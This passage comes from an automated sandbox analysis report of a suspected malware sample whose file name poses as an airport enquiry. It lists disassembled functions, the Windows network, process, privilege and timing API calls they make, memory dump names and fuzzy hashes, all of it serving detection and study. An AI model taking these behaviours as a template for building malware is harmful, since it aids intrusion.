Instruction Fuzzy Hash: F2318235600118AFCB25CF58CC98FEA7BBAEB4A710F148169F9098B2A1D7319D50DF74

Function 00CA0BD0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00CA0BF2

Part of subcall function 00C85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00CE7B20,?,?,00000000), ref: 00C85B8C
Part of subcall function 00C85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00CE7B20,?,?,00000000,?,?), ref: 00C85BB0

_fprintf.LIBCMT ref: 00CA0C29
OutputDebugStringW.KERNEL32(?), ref: 00CD6331

Part of subcall function 00CA4CDA: _flsall.LIBCMT ref: 00CA4CF3

__setmode.LIBCMT ref: 00CA0C5E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: ed5a6a5b36b751d3efd48495625204759c756c6085af6bdda838ac01052031be
Instruction ID: ead35155669d440d130cb63006ac878c5be6f0b25d90b36b01d1e7ddd2d4f466
Opcode Fuzzy Hash: ed5a6a5b36b751d3efd48495625204759c756c6085af6bdda838ac01052031be
Instruction Fuzzy Hash: DA113A319046057FCB08B7B5AC439BE7B68DF87328F24011AF208972D2DFA15D46A7A6

Function 00CD8B9E Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CD8652: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00CD8669
Part of subcall function 00CD8652: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00CD8673
Part of subcall function 00CD8652: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00CD8682
Part of subcall function 00CD8652: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00CD8689
Part of subcall function 00CD8652: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00CD869F

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00CD8BEB
_memcmp.LIBCMT ref: 00CD8C0E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00CD8C44
HeapFree.KERNEL32(00000000), ref: 00CD8C4B

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 4173fbb318c7ae3d925c1420b353854b30a45502fed0b0e64190355361cc65d1
Instruction ID: af31b789d878f01c19d6bbea857c98070af084c4d7fb1c57c6f8024a331b976e
Opcode Fuzzy Hash: 4173fbb318c7ae3d925c1420b353854b30a45502fed0b0e64190355361cc65d1
Instruction Fuzzy Hash: AA217F71E11209EFDB10DF94C945BEEB7B8FF84354F14409AE664A7340EB31AA0ADB60

Function 00CF1A5B Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00CF1A97

Part of subcall function 00CF1B21: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00CF1B40
Part of subcall function 00CF1B21: InternetCloseHandle.WININET(00000000), ref: 00CF1BDD

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: bed6b3c608d844c04a2b2c74f90ea88765f55ad82ba6ceb1f84a8ed508213ff8
Instruction ID: ac37349716c68f8f9c5678fd534490feb1f638ecbe8b839d58ef15e8629a5030
Opcode Fuzzy Hash: bed6b3c608d844c04a2b2c74f90ea88765f55ad82ba6ceb1f84a8ed508213ff8
Instruction Fuzzy Hash: 5F21CF71200608FFDB629F60CC00FBAB7A9FF84711F18001AFF55D6650EB719911ABA6

Function 00CDE1AF Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CDF5AD: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00CDE1C4,?,?,?,00CDEFB7,00000000,000000EF,00000119,?,?), ref: 00CDF5BC
Part of subcall function 00CDF5AD: lstrcpyW.KERNEL32(00000000,?), ref: 00CDF5E2
Part of subcall function 00CDF5AD: lstrcmpiW.KERNEL32(00000000,?,00CDE1C4,?,?,?,00CDEFB7,00000000,000000EF,00000119,?,?), ref: 00CDF613

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00CDEFB7,00000000,000000EF,00000119,?,?,00000000), ref: 00CDE1DD
lstrcpyW.KERNEL32(00000000,?), ref: 00CDE203
lstrcmpiW.KERNEL32(00000002,cdecl,?,00CDEFB7,00000000,000000EF,00000119,?,?,00000000), ref: 00CDE237

Strings

cdecl, xrefs: 00CDE22E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 7ab7cf451f794c5a628a966ebaa651c4267a6a6db430b848feb4d977bd649a4c
Instruction ID: 03f7ebd4a303f759d918aa95dae143ddbbcaf9ed36c072ac50b265f88634faf6
Opcode Fuzzy Hash: 7ab7cf451f794c5a628a966ebaa651c4267a6a6db430b848feb4d977bd649a4c
Instruction Fuzzy Hash: 72118E36200345EFCB25AF64DC45A7A77B8FF85350B50402BF91ACB360EB71A951D7A1

Function 00CB5332 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00CB5351

Part of subcall function 00CA594C: __FF_MSGBANNER.LIBCMT ref: 00CA5963
Part of subcall function 00CA594C: __NMSG_WRITE.LIBCMT ref: 00CA596A
Part of subcall function 00CA594C: RtlAllocateHeap.NTDLL(01640000,00000000,00000001,00000000,?,?,?,00CA1013,?), ref: 00CA598F

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 6bc1a4353455d4e4b6516aba86342832464f2ec167186a1529657c80bc005443
Instruction ID: 8b96af26d4186743039eecb431a4797c1acd99b8d6b1367d782b42a42c708687
Opcode Fuzzy Hash: 6bc1a4353455d4e4b6516aba86342832464f2ec167186a1529657c80bc005443
Instruction Fuzzy Hash: 4E11C432904B17AFCB312F74AC4579D37D49F163B4F200429F9149A3A1DBB58A40A750

Function 00CF667C Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00C85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00CE7B20,?,?,00000000), ref: 00C85B8C
Part of subcall function 00C85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00CE7B20,?,?,00000000,?,?), ref: 00C85BB0

gethostbyname.WSOCK32(?,?,?), ref: 00CF66AC
WSAGetLastError.WSOCK32(00000000), ref: 00CF66B7
_memmove.LIBCMT ref: 00CF66E4
inet_ntoa.WSOCK32(?), ref: 00CF66EF

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 23d38de2f75f4b9a1f5db656f6b239f319ef3696ea8ae2186a7a00701d757c1a
Instruction ID: 8c6e52ae412c931d43f313a2a24a89ce1a136293a394248a4bf881184ff16e2f
Opcode Fuzzy Hash: 23d38de2f75f4b9a1f5db656f6b239f319ef3696ea8ae2186a7a00701d757c1a
Instruction Fuzzy Hash: 23112E75500509AFCB04FBA4DD86DFEB7B8EF18314B144065F606A72A1DF70AE04EB65

Function 00CD9023 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00CD9043
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00CD9055
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00CD906B
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00CD9086

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 27b251139f180c24a5c7184a6b3ef2842a8ae359b9efd25c8bad3034f5ce34c1
Instruction ID: a217fad4e567be18b6cac59ca3d075eb3416e258489f334afe977f2e326e1cea
Opcode Fuzzy Hash: 27b251139f180c24a5c7184a6b3ef2842a8ae359b9efd25c8bad3034f5ce34c1
Instruction Fuzzy Hash: 81114C79900218FFDB10DFA5C884E9DFB74FB48310F204096EA04B7250D6726E11DB90

Function 00C81290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00C82612: GetWindowLongW.USER32(?,000000EB), ref: 00C82623

DefDlgProcW.USER32(?,00000020,?), ref: 00C812D8
GetClientRect.USER32(?,?), ref: 00CBB84B
GetCursorPos.USER32(?), ref: 00CBB855
ScreenToClient.USER32(?,?), ref: 00CBB860

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 47a2e48662e05eda68a126552b572fdbc988575004dfe5b9e6f5c254c6344c7d
Instruction ID: 4774c355122c4d4cbbf922884808714a8b250cd824928ef92e724b4bfa084aa5
Opcode Fuzzy Hash: 47a2e48662e05eda68a126552b572fdbc988575004dfe5b9e6f5c254c6344c7d
Instruction Fuzzy Hash: 80113635A00119AFCB10EFA8D889AEE77FCEB05315F500456F911E7251D730BA529BB9

Function 00CE1652 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00CE01FD,?,00CE1250,?,00008000), ref: 00CE166F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00CE01FD,?,00CE1250,?,00008000), ref: 00CE1694
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00CE01FD,?,00CE1250,?,00008000), ref: 00CE169E
Sleep.KERNEL32(?,?,?,?,?,?,?,00CE01FD,?,00CE1250,?,00008000), ref: 00CE16D1

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 711219a44ed2b93bd86f9c5b682402b6b0b44e4ce5ca77f721fa2f4eabefe55e
Instruction ID: b5e6a800d01e386cb5d650f24e0c38d9f0b07f70e1da0d8e4dc9b1fddcd39b0e
Opcode Fuzzy Hash: 711219a44ed2b93bd86f9c5b682402b6b0b44e4ce5ca77f721fa2f4eabefe55e
Instruction Fuzzy Hash: 31115A31C1061DD7CF00AFA6D849AEEBB78FF09751F184059ED44F6240CB3056A08BE6

Function 00CB7207 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00CB722B

Part of subcall function 00CB7912: __fltout2.LIBCMT ref: 00CB793B

__cftog_l.LIBCMT ref: 00CB7251
__cftoe_l.LIBCMT ref: 00CB7283

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 9804fb4675bb78dc91d3c2f6905d27530280a89442e86bb85d2b85dac5ded811
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: A3014E3644414AFBCF125F84CC018EE3F62BFA9351F598615FE2868031D236CAB1BB82

Function 00D0B57F Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00D0B59E
ScreenToClient.USER32(?,?), ref: 00D0B5B6
ScreenToClient.USER32(?,?), ref: 00D0B5DA
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00D0B5F5

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 10828d7101d1d9222d94c6a9a74cd31351fd0d6c6f925aeb9d0a180a80c03785
Instruction ID: b94eda0f16cf56e30c3be6f73bab20f14898bf27d963d243743080351ae913e2
Opcode Fuzzy Hash: 10828d7101d1d9222d94c6a9a74cd31351fd0d6c6f925aeb9d0a180a80c03785
Instruction Fuzzy Hash: 041146B5D04209EFDB51CF99C844AEEFBB9FB08310F504166E954E3620D735AA558F60

Function 00D0B8EF Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D0B8FE
_memset.LIBCMT ref: 00D0B90D
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00D47F20,00D47F64), ref: 00D0B93C
CloseHandle.KERNEL32 ref: 00D0B94E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: e907a7fb4528c0f12e57fb6c814dddaf284545ba1084cac688a5bb3a0bfa5dfe
Instruction ID: 5f3b47e2f34d0563ff5d74784894acab85217615cc4acc5852e0f81f509e97ec
Opcode Fuzzy Hash: e907a7fb4528c0f12e57fb6c814dddaf284545ba1084cac688a5bb3a0bfa5dfe
Instruction Fuzzy Hash: 85F082B66483007BF2102B61AC05FBB7A5CEF0A758F040421FF08D6392E7725D0487B8

Function 00CE6E7C Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00CE6E88

Part of subcall function 00CE794E: _memset.LIBCMT ref: 00CE7983

_memmove.LIBCMT ref: 00CE6EAB
_memset.LIBCMT ref: 00CE6EB8
LeaveCriticalSection.KERNEL32(?), ref: 00CE6EC8

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 2e509b07cc767b201b6bcf13e4753b604de75cc5153f55206bc3d1726a5032d1
Instruction ID: ceac9f43d7f364d2417686ed5749cca85ef8d0f9bd00372e2de8d14452544e88
Opcode Fuzzy Hash: 2e509b07cc767b201b6bcf13e4753b604de75cc5153f55206bc3d1726a5032d1
Instruction Fuzzy Hash: 77F0543A100200ABCF116F55DC85B49BB29EF45320F148065FE0C9E217C731E911DBB4

Function 00D0C00C Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00C812F3: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00C8134D
Part of subcall function 00C812F3: SelectObject.GDI32(?,00000000), ref: 00C8135C
Part of subcall function 00C812F3: BeginPath.GDI32(?), ref: 00C81373
Part of subcall function 00C812F3: SelectObject.GDI32(?,00000000), ref: 00C8139C

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00D0C030
LineTo.GDI32(00000000,?,?), ref: 00D0C03D
EndPath.GDI32(00000000), ref: 00D0C04D
StrokePath.GDI32(00000000), ref: 00D0C05B

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 2d6b07edcd937227bdbcedb066a637532c8ee902191fb004fff3b3b0b1d01fbf
Instruction ID: 3414298b457458be31a7e7169c5755913e02ab59301f3325bb7c81cfd48b56d8
Opcode Fuzzy Hash: 2d6b07edcd937227bdbcedb066a637532c8ee902191fb004fff3b3b0b1d01fbf
Instruction Fuzzy Hash: 93F0BE31000319BBDB226F50AC0AFCE3F99AF06310F188100FA19A16E287B54561DBF6

Function 00CDA37C Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00CDA399
GetWindowThreadProcessId.USER32(?,00000000), ref: 00CDA3AC
GetCurrentThreadId.KERNEL32 ref: 00CDA3B3
AttachThreadInput.USER32(00000000), ref: 00CDA3BA

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: ac24cf812a14a8e77f20d95aeca5a5cc06c7d8133b982801d1373ac72952584c
Instruction ID: 23655bd7a24294546200ed4a3e696df0004783f2b3111989c8cbdba898c99454
Opcode Fuzzy Hash: ac24cf812a14a8e77f20d95aeca5a5cc06c7d8133b982801d1373ac72952584c
Instruction Fuzzy Hash: 66E01531141328BADB205BA2DC0CFD73E1CEF167A1F508025B608C4560CA72C5408BB1

Function 00C82218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00C82231
SetTextColor.GDI32(?,000000FF), ref: 00C8223B
SetBkMode.GDI32(?,00000001), ref: 00C82250
GetStockObject.GDI32(00000005), ref: 00C82258
GetWindowDC.USER32(?,00000000), ref: 00CBC0D3
GetPixel.GDI32(00000000,00000000,00000000), ref: 00CBC0E0
GetPixel.GDI32(00000000,?,00000000), ref: 00CBC0F9
GetPixel.GDI32(00000000,00000000,?), ref: 00CBC112
GetPixel.GDI32(00000000,?,?), ref: 00CBC132
ReleaseDC.USER32(?,00000000), ref: 00CBC13D

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
